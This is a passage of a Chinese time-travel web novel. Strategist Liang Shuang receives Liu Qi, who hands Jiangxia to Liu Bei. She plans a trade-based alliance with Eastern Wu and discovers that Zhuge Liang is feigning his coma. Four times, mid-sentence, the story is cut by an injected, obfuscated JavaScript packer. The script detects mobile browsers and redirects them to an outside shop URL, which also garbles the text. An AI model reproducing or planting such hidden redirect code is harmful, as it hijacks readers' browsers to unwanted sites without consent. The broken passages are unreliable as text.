终于终于,在刘备家吃过午饭,完成了今日份的夫人社交任务,梁爽婉谢二位夫人“再坐坐”的挽留,拖着疲惫的身躯回到了家门口。 家门口堆着些礼物,礼物边站着些仆人,人堆后面立着一个眼熟的年轻公子,一身白衣,身形消瘦,瘦得年纪轻轻颧骨便高凸出来。 是刘琦。 梁爽内心:我、就、是、想、回、家、见、到、孔、明、跟、他、说、说、话、怎、么、就、那、么、难……从荆州回来满打满算两天时间了,愣是没能看见孔明眼皮跳。 她在这公元三世纪做军师,日夜操劳,没得休息,跟在公元二十一世纪做牛马时有什么两样? 不过看见披麻戴孝的刘琦,梁爽心底里觉得他可怜,见他上前来行礼,忙回一礼,问道:“公子何故来访?江夏何人留守?公子此行,可曾先去拜会过玄德公?” 刘琦经她一问,眼眶起泪,说道:“江夏由伊籍先生留守,我特来、特来襄阳,奔丧。” 梁爽一叹:“先前因战事,未能安葬姨父。如今荆州初定,人事纷乱,因此尚未顾得上姨父的丧事,现在仍在勘察风水宝地,为姨父寻一万年安身之所。” 刘琦闻言,泣涕涟涟,举袖抹泪。 梁爽道:“公子为何不先拜见玄德公?先来我这里是……” 刘琦道:“听闻先父临终,除了蔡瑁等人外,唯有军师在侧。当时情形,还请军师告知!” 看来刘琦是不相信刘表真心将荆州牧的位置传给刘琮。 事关重大,梁爽听他这么说,不敢轻易将他往家里领,怕引起旁人误会,因此便立在门口同他说道:“姨父宣布遗嘱时,不只我在场,玄德公、关云长将军、荆州诸将、蔡夫人、刘琮公子及许多在旁侍奉的仆人、兵士,皆在。姨父当时神志清醒,亲口告诉众人,应立刘琮公子为新主,令玄德公辅政、命我兼任荆州、新野两处军师。只是后来蔡瑁仗着手中兵马便利,意图谋害于我,幸而玄德公派人解救,将我迎回新野。两边撕破了脸,蔡瑁便不遵姨父遗命,挟刘琮公子投奔曹操。公子中途逃脱,被我军搭救,来到襄阳,此后随我劝降荆州守将归顺玄德公,现与我一道回来襄阳。” 刘琦闻言,垂下眸子,面露哀戚。 梁爽欲劝他,却又不知该从何处劝起。 他的父亲确实不那么爱他。 因为不爱他,所以不想将荆州牧的位置传给他。 因为不爱他,所以明知他的继母将来不会善待他,也不提前为他考虑后路。 因为不爱他,最后连一句专门留给他的话都没有。 这让梁爽怎么安慰?业已发生的一切事实皆是刘表并不爱他的证据。板上钉钉的证据面前,她连一个善意的谎言都没法撒。 关于亲情的、容易拆穿的谎言,只能成为二次伤害。 刘琦沉默片刻,含泪微笑道:“知道先父的遗愿没有被曲解,我便放心了。只是不知我该往何处安身立命?还望军师教我。” 梁爽叹道:“公子视玄德公为亲叔叔,不如随我去拜见玄德公,与玄德公当面一叙。” 刘琦道:“昔日我确实真心视玄德公为自家叔父,可如今时移世易……” 梁爽道:“玄德公的品性,绝非区区荆襄九郡可以动摇。公子信我。” 刘琦并无别的更佳选择,轻轻一叹:“我信军师。” 刘琦随梁爽来到刘备府邸门前,记起此处似乎是文聘将军旧宅,望着门上悬挂的“刘府”牌匾,一时神情恍惚。 梁爽派人上前扣门,门房认得军师,连忙入内通报刘备。刘备正在书房批阅公文,听闻黄楚携刘琦来访,急忙起身相迎。 “贤侄!”刘备快步走到院中,看到刘琦的模样,不由得心头一酸:眼前少年公子一身素服,面容憔悴,眼中布满血丝,比上次分开时仿佛老去十岁。 刘琦见到刘备,眼眶瞬间红了:“叔父……” 两人相视片刻,刘备上前握住刘琦的手,只觉得那手冰凉。 刘琦与刘表面容相似,刘备看着刘琦,便想起当年初到荆州时,刘表待他如亲兄弟,不仅拨给他新野驻军,还时常邀他饮酒论事,最后又将妻小和一生基业托付于他。 “贤侄,是叔父无能,对不住你。”刘备含泪哽咽道:“令你受苦了……” 刘琦忙摇头道:“叔父言重了。若非叔父守护荆州、驱逐蔡瑁与曹操,侄儿只怕早已……” 话未说完,泪水已夺眶而出。刘备见状,也不禁潸然泪下。 “贤侄放心,”刘备握紧刘琦的手:“从今往后,有叔父在,定不会再让你过提心吊胆、担惊受怕的日子。” 刘琦抬头看着刘备,眼中闪过一丝复杂的神色:“叔父,侄儿今日来,是想……” 刘备与梁爽皆凝神静候他说。 刘琦流泪道:“叔父,侄儿今日来,是想将江夏城与三千驻军,托付与叔父。” 刘备闻言大惊:“贤侄何出此言?我早已向朝廷表奏你为江夏太守。且江夏乃是你父亲生前命你驻守,我岂能……” “叔父,”刘琦道:“侄儿自知并无带兵打仗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486252|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本事。当初驻军江夏,也全是叔父和军师为保护我不受继母荼毒,而在先父面前为我争取而来。如今先父新丧,侄儿惟愿尽快让先父入土为安,而后在其坟茔边结庐守孝三年。这江夏城……侄儿实在无力经营。曹操虽然兵败,但犹有东吴孙权对江夏虎视眈眈。侄儿唯有将江夏托付与叔父,才可保先父基业不落入他人之手,才可保这一城百姓平安。还望叔父切莫推辞!” “贤侄,”刘备轻叹一声:“你教我如何忍心……” “叔父!”刘琦跪倒在地:“侄儿求您了!江夏城若在侄儿手中,只怕早晚落入他人之手。与其如此,不如托付给叔父,也好让先父在天之灵安心。” 刘备连忙扶起刘琦,见他泪流满面,心中不忍。沉吟片刻,他终于点头:“也罢。贤侄放心,我一则会尽快为你父亲操办丧事,办得体面;二则,绝不会亏待于你。” 他转身吩咐左右:“糜竺近来正在寻万年风水宝地,去告诉他,让他寻得地方时,在附近划出良田五百亩,作为贤侄守孝之用。” 刘琦闻言,又要拜谢,被刘备一把扶住:“贤侄不必如此。待你守孝期满,我定当为你另谋出路。” 刘备又解释道:“荆州乃兵家必争之地,战乱频仍,你父亲生前便有意归葬襄阳,故而我命糜竺带人在襄阳勘穴。” “侄儿无能,不能为先父丧事出力,全靠叔父。”刘琦道:“此事尽凭叔父做主。” 刘备又问:“你弟弟刘琮现下正在襄阳,不知贤侄你……” 刘琦道:“我与琮弟虽然异母,并无间隙。先父去后,剩下我兄弟二人,合该相互扶持。” 刘备拍拍他的手,欣慰道:“好。你通情达理,便是最好。我已上书朝廷,按你父亲遗愿,表奏琮儿为荆州牧。但他也有心在襄阳守孝,因此不驻荆州,在襄阳安家,奉养夫人蔡氏。” “多谢叔父照顾继母和琮弟。我今日便去与他们相见。”刘琦道:“蔡瑁已死,蔡夫人并无其他依仗,不能再加害于我。我当以礼相待,不会为往事计较。” “好孩子,”刘备慨叹道:“你从小受了最多委屈,却偏偏你最懂事。往后同住襄阳,常来叔父这里坐坐,叔父与婶母照看你,必不让你再委屈了。” 刘琦流泪道:“多谢叔父。” 梁爽陪两叔侄喝了几盏茶,又送走刘琦,心里正想着“总算能回去了”,抬眼正碰上刘备忧虑重重的神色,便知道:得,今下午还得继续上班。要想回家见孔明,至少得是晚上了。 梁爽:我想下班!!!我要回家!!! 35. 孙尚香不能娶 刘备倒不犯愁刘表留下的这两个儿子。 刘琦也好,刘琮也罢,虽然都聪明,但都没有将兵之才,也没有称雄争霸的野心。刘备可以轻而易举的安置他们,并没有什么可担心的。 刘备担心的是刚刚刘琦提起的东吴。 荆州与东吴领地隔江相望,尤其南郡、江夏等战略要地皆卡在了孙权西进长江的咽喉处。孙氏三代对荆州素来垂涎,先前刘备在新野,与孙权冲突的是刘表;现在刘备接替刘表执掌荆州,似乎与孙权的争斗在所难免了。 “军师,”刘备一个“请”的手势,把急着下班的梁爽请去上座坐下了:“先前在南阳与诸葛先生对谈时,诸葛先生曾说‘孙权据有江东,已历三世,国险而民附,贤能为之用,此可以为援而不可图也。’如今,不知军师所见是否与诸葛先生相同?若是相同,我又该如何与孙权结盟?” 这一问把梁爽给问住了。 如果按“历史”原本的走向,是刘备被曹操打败,仓皇逃到东吴,因他在战乱中失去了糜、甘二位夫人,所以便迎娶孙权之妹孙尚香,两家联姻,共抗曹操。 但现在事情的发展已经与原本的“历史”可谓毫不相干:她梁爽带着刘备和他的好兄弟们哐哐把曹操打回去了,现在孙刘两家缺乏共同的强大外敌。而且糜、甘二位夫人皆健在,她梁爽作为一个现代人实在不想再去促成刘备和孙尚香的婚事——一场婚事坑了三个女人,这缺德事她可不干。 此前梁爽辅佐刘备,都是提供战术上的建议。战事令她焦头烂额,令她没有时间和心力去思考更大的棋局。 现在战事结束,她和刘备都得以稍稍喘息,战略上的问题她便不能不考虑了。 想想前世孔明是很辛苦,脑子一刻都不能停。 现在“殚精竭虑”的滋味,梁爽也初尝到了。 梁爽道:“不知当时拙夫为主公献计时,是怎么说的?”她初中学的《隆中对》,为了应付考试而背诵的,现在早就忘光了。 听得刘备张口就来:“今操已拥百万之众,挟天子而令诸侯,此诚不可与争锋……荆州北据汉沔,利尽南海,东连吴会,西通巴蜀,此用武之国,而其主不能守,此殆天所以资、咳咳、备……益州险塞,沃野千里,天府之土,高祖因之以成帝业……刘璋暗弱,张鲁在北,民殷国富而不知存恤,智能之士思得明君……若跨有荆益,保其岩阻,西和诸戎,南抚夷越,外结好孙权,内修政理;天下有变,则命一上将将荆州之军以向宛洛,我身率益州之众出于秦川……诚如是,则霸业可成,汉室可兴矣。” 刘备一口气背完,梁爽内心暗暗给他鼓掌:背得好熟……不愧是干大事的人。 诸葛亮只是说了一遍,刘备就结结实实把他的话刻在了心上。 风云际会,君臣知遇,做到这份上,也是再没人能比了。梁爽暗叹。 诸葛亮“联吴抗曹”的方针,梁爽完全认同,虽然她对“西进巴蜀”的这部分抱有疑虑,但现阶段先跟东吴搞好关系一定是没错的。 在现在的情况下,再让刘备去东吴和亲,意义不大。反倒平白把主公的安危捏在了别人手心里。 于是梁爽道:“按先前我向主公所献计策,我愿充当使节,赴东吴与孙权谈判,就当是为主公后续结盟探路。有兄长诸葛瑾在,想必至少可保无虞。” 刘备蹙眉道:“军师口才雄辩,若愿出使游说,自然是好。只是平白无故,孙权怎舍得荆州?怎会愿意与我等结盟?” 梁爽道:“主公所虑甚是。我想,出使之前,有些事我们需提前做好,如此,我与江东众人谈判时才有底气。江东子弟多才俊,不容小觑。” 刘备唤人来给军师添茶。 梁爽心中暗暗一叹:看来今天是要加班到深夜没跑了。 于是无奈地说道:“我毕竟初来乍到,对于荆州风土人情不够熟悉,还请主公宣召孙乾先生、简雍先生、糜竺将军、及张允等原驻荆州的将军、谋士们来,大家一同议事为好。” 主打一个“我加班,同事们谁都别想逃”的变态心理。 刘备忙唤人去各府邸通传。 没想到,被点名的谋士和将军们一听说主公要召各位来献计献策应对来自东吴的威胁,各个摩拳擦掌,满脸兴奋,都流露出很想搞事业的样子。毕竟先前黄军师表现出的才干让他们深深相信,跟着军师做事,真的能建功立业。 梁爽暗叹:看来是之前几场胜仗,提振士气提振得有点过剩了…… 众人聚齐,都想先听黄军师拟定的“联吴”计划的大致行动方针。 梁爽便道:“自古要结盟,无非几种办法:一是结亲,二是利益交换,三是共同应对外敌。如今小公子年幼,不宜结亲;曹操已退兵,又无外敌;唯有建立与东吴共同之巨大利益,才能笼络东吴君臣之心。” 糜竺听了,满脸的“这题我会”:“好!在下这就筹集金银珠宝,去江东收买人心!” 梁爽:“不是……将军固然筹款有方,但这远远不够。我的意思,是咱们要与东吴通商,做买卖,做大买卖。买卖要做到,让他们舍不得开战,因为一旦开战,他们就会少了一大块商业收益。买卖要做到,让双方的联系密切,密切到他们离了咱们的货物就不能正常生产生活,他们没有咱们支付的货款百姓便无钱周转度日。” 糜竺是商人出身,一点就透,说道:“互通有无,确是好主意。可惜我初来荆襄,对本地作物、矿藏皆不够熟悉,还是借军师的光,才知道此地石脂水和地霜似乎比别处多。” 梁爽道:“石脂水和地霜开采不易,太过珍贵,还是留给我们自家用罢。诸位世居荆襄的将军们、先生们有何高见?” 谋士蒯越道:“荆州与江东在特产和矿藏上各具优势,荆州以粮食、茶叶、药材、丝绸和铜矿见长,江东以盐、鱼、竹木和铁矿著称。” 梁爽击节道:“如此,真是妙极!先生可愿为我列一张清单,注明这几样东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486253|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每月大致可产出多少,每卖一串钱需付出多少本钱。” 蒯越答应着。 “荆州地处长江中游,是江东往西北方向与江北贸易的必经之地。”梁爽道:“换句话说,咱们荆州卡在孙权的财路上。不知道一直以来,荆州对往来商贩收税是怎么收的?” 谋士傅巽道:“都是在交通要道设立关卡,如渡口、关隘、城门等,对过往商旅征税,尤其是长途贩运的商队。普通百姓携带少量货物过境,则免税。征税时,有些是‘从量征收’,按货物数量征税;有时是‘从价征收’,按货物价值抽取百分之五到百分之十。大多数时候让商贩用货物本身抵税,如粮食、布匹等;但也有时将货物折价,收取铜钱,譬如那些容易腐烂、不易保存的水果蔬菜。” 听傅巽条理清晰地说完,梁爽道:“先生熟悉税收,在下自叹不如,可否请先生拟一个方案出来,看如何拟定抽税比例,既能促进东吴来卖货,又能让收上来的税金大幅提高?” 税率高,则贸易减少;税率低,则贸易增加。要想在这种动态变化的关系中寻求获得最多的税金,需要一个极好的算术脑袋。 “在下算力有限,愿竭力为军师一试。”傅巽忍不住叹道:“若是王仲宣——”他猛然意识到王粲与军师的那段过往,连忙打住不提。 王粲因为不想屈居于黄楚之下,见蔡瑁大势已去,他趁乱逃去了曹操麾下。然而曹操此刻对荆州之人的戒备心拉满,没有收留他,于是他只好灰溜溜找了个地方隐居起来。现在谁都不知道他在哪。 梁爽笑道:“先生自谦了。若太过劳累,不妨多请几人一起来做。” 处理完贸易的事,梁爽又问:“现下荆州水军是什么情况,若与东吴开战,胜算几何?” 蔡瑁不在,荆州水军以张允为首。张允略作思索,答道:“托军师的洪福,荆州水军现在仅剩三万……大多驻扎在江陵、夏口等地,战船三百艘,以楼船、斗舰等大型战船为主;东吴水军由周瑜统领,副将有程普、黄盖等人,皆是水战娴熟;兵力约五万,驻扎在柴桑、建业等地;战船数量远不及荆州,但质量较高,以轻便灵活的艨艟、走舸为主。若说胜算……若在以往,我丝毫不惧东吴。但现在……”张允掂量着措辞,说道:“这么说罢,东吴水战时擅长火攻,而现在荆州的将士们,托军师的洪福,可谓‘见火丧胆’。” 梁爽:…… 张允:“末将是夸军师仗打得好,没有别的意思。” 梁爽:……没关系。 梁爽又咨询了荆州旧将许多事,心下做了盘算,便托辞改日再议,遣散众人。 众人走后,梁爽向刘备道:“主公,我知道此次出使东吴该如何与他们联盟了。” 刘备大喜,忙问:“军师有何妙计?愿闻其详。” 梁爽道:“我军出钱,购买东吴战船。” 刘备疑惑道:“适才听张允说,我军战舰数目远远多于东吴,为何还要向东吴购船?” 36. 醒了 “诚如张允将军所言,东吴擅长火攻。”梁爽道:“主公有所不知,我在荆州时曾巡视水域,发现长江虽宽,但临近陆地处,许多浅滩,大船难以施展。若遇火攻,更是避无可避。我方若要应对东吴,必须也要有足够数目的小船,以灵活对抗灵活,才好与之周旋。这样做,既能补齐我军的短处,也能与东吴建立经济联系。战船交易涉及巨额金钱,往来频繁,久而久之,双方利益捆绑,联盟自然稳固。长远观之,若能以我之金钱,买得东吴人不事粮食生产、只知造船,则更妙。到那时,他们粮食衣物等等全靠我方供应,离了我方就不能生存,可谓不战而败。” 刘备点头道:“军师说得在理。至于采购战船所需钱财上的事,军师可先与糜氏兄弟商议,再报与我,我届时召集众将同议。” 梁爽领命。 刘备又问:“军师此去东吴,计划带谁同往?” 梁爽道:“拙夫尚未醒来,还需托付主公照看。至于同行之人,在下打算请赵云将军担任护卫,再带上刘封、关平二位小将军——黄某想着,或许能将两位小将军培养成擅长水战的将领,因此想带他们去东吴观摩偷师——此外想请蒯越先生一起帮忙出谋划策,他世居荆州,对东吴这劲敌知之甚深。至于普通兵士,一百五十人足矣。” 刘备道:“一百五十人怎够?军师才名远扬,若东吴忌恨军师的才干,对军师图谋不轨,该如何是好?” 梁爽道:“属下是去和谈,总不能带兵太多。有诸葛瑾在,东吴看在我是他的弟媳,应当不至于轻易杀我。况且这次是谈买卖,换句话说是给他们送钱的,东吴亦犯不着除掉我。若主公不放心,便请主公安排人昼夜轮值在江边守候,万一属下在东吴发现情形不妙,便会派人燃放烟花,届时请主公调动水军前来相救。” 刘备只得答允。 此时天色已晚,刘备想留军师一同用饭,梁爽连忙辞谢:“主公操劳一日也累了,在下不敢多叨扰……还请主公多休息为好。出使之事,我明日再来与主公商议。” 刘备刚要挽留,见她满脸急着回家的样子,忙笑道:“是备疏忽了,耽搁军师与诸葛先生团聚。”忙唤人来安排车马送军师回家。 梁爽归心似箭,一路上连连催促车夫快些赶马,总算在天黑之前赶到家。一进门,却不见一个人影。 “高洋?李嬷嬷?汪嬷嬷?”梁爽一面叫,一面往院子里走:“高洋?李世珍?汪梦雅?”无人应声。 听见自己卧房那边嘁嘁喳喳有说话声,梁爽满怀疑惑地推门进去,屋里三个人吓了一跳,慌忙站直身子。 “夫人回来了!”汪嬷嬷赶紧迎上去:“您怎么不提前说一声,我们好去接您。” “……我一路喊着你们名字进来的。”梁爽疲惫地摆摆手,声音有些沙哑:“你们聚在这里说什么呢?先生还好吗?” 诸葛亮的左眼皮跳了一跳。 她走到床边,看着依然昏迷的诸葛亮,心里泛起淡淡伤感:她急匆匆地赶回来,赶回他的身边,原来期待的只是他的眼皮跳一跳,只是这么微小的东西。她不能像寻常妻子——哪怕寻常好友——一样,期待自己倾诉完之后能得到对方充沛的回应。 “先生今天有没有再睁开眼睛?”梁爽问道。 “没有!”三人异口同声。 这三人抢答似地答她这一问,不禁令梁爽起了疑:“真没有?” “没有。”李嬷嬷答道。 “唉。”梁爽轻声叹了口气。 高洋看夫人可怜,忙道:“夫人,先生这些天气色好多了,说不定很快就能醒……” 话未说完,汪嬷嬷从背后悄悄掐了他一下。高洋立刻闭嘴。 梁爽问道:“我进来前,你们三个在说什么呢?” 李嬷嬷道:“夫人迟迟不回来,我们陪先生说话,免得他闷。” “是么……”梁爽悠悠说完,眼神突然转作凌厉,扫视三人,最后盯着最年轻最容易露馅的高洋的眼睛道:“先生是不是醒了?” 高洋小脸煞白,额角都是冷汗:“夫、夫人说笑呢,要是先生醒了,我、我肯定高兴死了。” “小高洋,”梁爽一步步逼近:“我不过是平常问你句话,你紧张什么?” “夫、夫人……”高洋慌得步步后退,六神无主,忙回头看向床铺,想向先生求援,却见躺在床上的孔明睁开了双眼。 梁爽顺着高洋的目光看过去,一时间怔住,随即狂喜,一把推开小高洋,扑到床榻边,问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486254|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“你醒了?” 孔明眼珠微转,看向她,还没来得及传递任何情感,就又合上了眼皮。 “先生?先生?”梁爽轻轻摇晃他,但他没有再睁开眼睛,只是左眼皮跳了跳。 李嬷嬷道:“夫人进来前的那会儿,我们也是看见先生睁眼,只睁开一会儿就闭上……怕夫人失望,所以就商量着,还是干脆不要告诉夫人了。” 梁爽确实失望,轻叹了一声,自我安慰道:“不管怎么说,他睁眼越发频繁,说明身子渐渐好转。我不懂照顾人,全都多亏三位照顾……或许等我从东吴回来时,先生就能醒了吧。不急,我们慢慢等。” “东吴?”三人惊讶道:“夫人要去东吴?” “嗯。我不日将代主公出使东吴。接下来的日子,就劳烦你们照看先生了。主公那里或许也会派人来帮手。” 两位嬷嬷是看着黄楚长大的,不免像老母亲似地关切道:“谁陪着夫人去东吴?路上总要有人照应才是。东吴与刘表有世仇,如今玄德公继承了刘表的土地人马,夫人代玄德公出使东吴,恐怕得带些兵士保障安全,这样才稳妥。” 梁爽微笑道:“我现在声名远扬,听说外面把我传成了妖精,不但能纵火,还能操纵鬼火。东吴不敢贸然对我动手的,放心。” 四人一起吃过晚饭,又给诸葛亮喂了些汤汤水水,各自洗沐休息。 梁爽忙了一天,终于回到卧房,与诸葛亮单独相对。原本这几日积攒了许多话想同她说,可她实在太累了,躺下之后眼皮便越来越沉重:“孔明,我回来了。今天也很顺利地度过了……许多事……等明天,我再慢慢告诉你……” 她的声音越来越轻,很快便沉入梦乡。 黑暗中,孔明听得她已经呼吸沉稳均匀,慢慢睁开了眼。他小心翼翼地一寸一寸挪动身子,由仰卧变为侧卧,静静地看着她的睡颜。 他越看,心底柔情越浓,浓情化作笑意,嘴角就忍不住上扬。 他试探着,极轻极轻地伸出手,想要抚摩她的头发,但终究还是收了回去。 他贪恋地细细看了她一会儿,又慢慢将身子调整回原本的卧姿,重新睡去。 他不知道,这时,梁爽亦向着上方的黑夜睁开了眼睛。 37. 军师谈恋爱的路子有点野(三) 不知道是不是因为昨晚发现孔明已醒的缘故,又或许是旧的记忆碎片渐渐被找回,梁爽再次梦见了从前作为黄楚时与孔明的相处。 仍是在竹林里,晨光熹微,薄雾缭绕。她一身短打衣裳,手中长枪如游龙般穿梭,枪尖划破晨雾,带起阵阵风声。 自从上次孔明来相亲,已经过去了不知多少天。她每天练枪,风雨无阻,孔明每天来看她练枪,也风雨无阻。 孔明渐渐成为了她的一种习惯。 她练武时向来全神贯注,但偶尔,也会分神,望向竹林小径时,心里有一点忐忑和期待。 那个家伙不会武功,但是却懂得点评别人的武功。 问题是,他每天来,看她练武,看完就只点评她的武功。 她知道他婶婶做饭不好吃,常留他一起吃午饭,吃午饭的时候他就跟她畅聊古今天下大事。虽然两个人聊得很是投机,但日子一长,二人感情毫无进展,黄楚不由得开始怀疑孔明是不是已经忘记当初来拜访她家是为了提亲。 “大事大事,自己的事都给忘了。”黄楚心里暗暗骂他:“这呆子。” 孔明不开窍,黄楚心里着急。虽然着急,却又羞于挑明。 总不能跟他说“我也相中你了,你可以正式提亲了”吧? 她心底暗暗压着一股气,于是连着几天都不怎么搭理他,更不留他吃饭。 她不理他,他也照旧每天都来。 今天,他果然又来了,只是与往日不同,这次是抱着琴来的。 黄楚瞥见他,心头猛地一跳,但假装没看见,继续舞枪,余光却难免关注着他。 只见他以衣袖擦拭过青石,将琴放下,席地而坐。 修长的手指轻拨琴弦,清越的琴声在竹林中回荡,正与她的枪法相合。 枪影如虹,琴声如诉,或许是因为他看她舞枪已经看了太久,对她已经足够熟悉,两人配合得天衣无缝。黄楚的枪法刚柔并济,时而如蛟龙出海,时而如灵蛇吐信。诸葛亮根据她的节奏调整琴音,时而雄壮,时而灵动;而她的每一个动作都恰到好处地回应着琴声,仿佛在与他进行一场无言的对话。 起初他是按黄楚舞枪的节奏,曲调慷慨激昂,突然,他比她快了一拍,取得主动,琴声一转,变得缠绵悱恻。 黄楚的心被他牵引得一荡,险些乱了枪法,连忙变换招式,放慢动作,与他相合。 他见她肯迁就她,目光愈发温柔,琴声中亦多了几分温暖的情意。 黄楚感受到他的目光,先是一阵紧张,但紧张之后便是安心与坦然,手中的长枪也舞得更加流畅。 竹叶萧萧,随风飘落,枪尖划过之处,带起的气流卷起地上的落叶,在风中盘旋飞舞,仿佛将二人包裹,与外界俗世隔绝。 一曲终了,黄楚收枪而立,二人相对,久久无言。 良久,诸葛亮先回过神来,脸颊微红,从袖里取出一方手帕递上:“小姐的枪法,越发精进了,当真令人叹为观止。” 黄楚脸庞鬓角已沁出细汗,接过帕子,脸颊亦觉有些发烫,说句:“多谢。是公子琴声引导得好。”低头看那帕子,只见手帕上绣着——黄色的荆棘。 “楚”便是荆棘。 黄色的荆棘,便是黄楚。 谁家给赠送姑娘的帕子上绣荆棘?若拿这帕子去给外人品评,无论是谁见了,必会说这人有些怪怪的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486255|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可她偏就喜欢怪怪的。 这礼,是刚巧送到她心坎上了。 “你……公子是专门找绣娘绣的?”黄楚问。毕竟寻常外面售卖的帕子,不会绣荆棘纹样,都是花儿云儿鸟儿鱼儿。 “是……”他怪不好意思地垂眸微笑道:“小姐慧心。” “多谢。”黄楚又补了一句:“费心了。” “今天的琴曲……不知道小姐喜不喜欢?”他抬眸望着她,目光中有期待,也有小心翼翼。 “今天的琴曲……”黄楚先前心思都在琴枪相合上,未曾留意是哪首曲子,经他一问,才发觉竟是《凤求凰》,不由得脸颊越发像着了火一般,略定了定砰砰乱跳的心,才微笑着打趣他道:“听人说公子号称‘卧龙’,怎么奏‘凤雏’该奏的曲子。” 他听她谈吐、观她深情,知道她是愿意嫁给他的意思,一时欣喜得几欲落泪,望着她说道:“‘卧龙’笨拙,不解情趣,总不知该如何向小姐剖白心意才好,所以……确实是‘凤雏’在背后指点献计。”凤雏庞统是他二姐的小叔子,二人从少年时一起游学厮闹惯了。 黄楚忍不住笑了:“公子妙计安天下,竟想不出一条可安小女子之心的计策么?” 他没有笑,墨色的眸子认真看向她道:“亮虽善谋,姑娘之心,亮不敢轻动。唯愿以真心换真心,以一生为计,徐徐图之。” 风轻轻吹过,吹拂着她额角的碎发,空气里满是清新的竹叶气息。 万籁俱静,他说出的每个字都清楚地落在了她耳中。 诸葛亮看着黄楚,只见她微微一笑,笑得好像春日的太阳将这竹林照亮。她说:“去问我爹爹我的生辰八字吧。我在这里等你。” 38. 出使东吴(一) 梁爽醒来时,脸上挂着幸福的微笑。她望着头顶的房梁,好久才回过神来。 真心。 她在现代时,也曾想要一颗真心,但一次又一次,她得到的只有失望。 现在她穿越到古代,作为黄楚的那部分记忆不断苏醒,她忽然得知自己原来曾经得到过那样的真心,仿佛在现代二十多年的创伤都得到了疗愈和补偿。 原来穿越也并非全是坏处。 没有空调,没有手机,没有汽车,但有真心。 梁爽扭头去看躺在旁边的那个曾给她真心的人。 此刻他阖着眸子,一动不动。 梁爽不知道他为什么要继续装作昏迷,但她想,他这么做一定有他的用意,一个好的用意。 既然他想演,那她就暂时陪他演下去吧。 “你睡醒了吗?”梁爽轻轻唤道。 左眼皮跳。 “好,那我同你说一说最近的事。” 梁爽起床更衣。因想起诸葛亮随时可以睁眼,于是便不好意思大喇喇在他面前脱换,背过身去,先用外袍从头顶将自己罩住,再解里面的衣裳。 “曹操已败退回许都,荆州已落入主公囊中,接下来便是笼络东吴。”梁爽道:“我向主公献计,与东吴多做买卖,尤其是战船买卖,买些小型战船,既能提升军力,又能加强与东吴间的利益往来。过几天我就出使江东,代表主公,与孙权谈判结盟。随行的人,我想带赵云、糜芳、刘封、关平、蒯越……”话音未落,听见隔壁关羽家传来夏侯夫人的大嗓门:“嫂嫂,我觉得这主意挺好!别说是银屏想随军师去江东长长见识,就连我——若不是被这些孩子们牵绊了——我也想跟去看看哩!听说孙权之妹孙尚香,素来有武艺,咱们银屏除了年纪小些,哪里比她差了?咱们银屏,文武双全,去了江东,正是给咱们挣面子呢!” 又听见一男一女两个小娃跟着嚷嚷:“娘,我也想去!我跟银屏姐姐去!”估计是张苞和张竟汝那两个小家伙。 梁爽:…… 早饭时梁爽草草喝了点菽羹,又就着旧年腌渍的芜菁菹吃了几口胡饼,就逃命似地奔去刘备府邸上班,生怕在家门口被王夫人和夏侯夫人拦下。 怎知到了刘备府上,略叙了几句,刘备颇有些为难地开口道:“拙荆说,军师此次前往东吴,需带人贴身伺候为妥,不知是否带些婢女、嬷嬷同行?” 梁爽心想,刘备虽然是细心体贴型的老板,但到底是一个古代男人,忽然问起她随身服侍的人选,事出反常必有妖,八成和今早自己听见的那几耳朵“大声密谋”有关,忙答道:“此行出使东吴,是为公事,还是轻车简从为好。黄楚自己照顾自己便是了。多谢主公和夫人关怀。” 见梁爽一口回绝,用的理由冠冕堂皇,刘备也没有勉强,此事便搁下。 今日来与刘备和诸人议事,主要是分两块,一块是经营荆襄九郡,一块是出使东吴相关事宜。 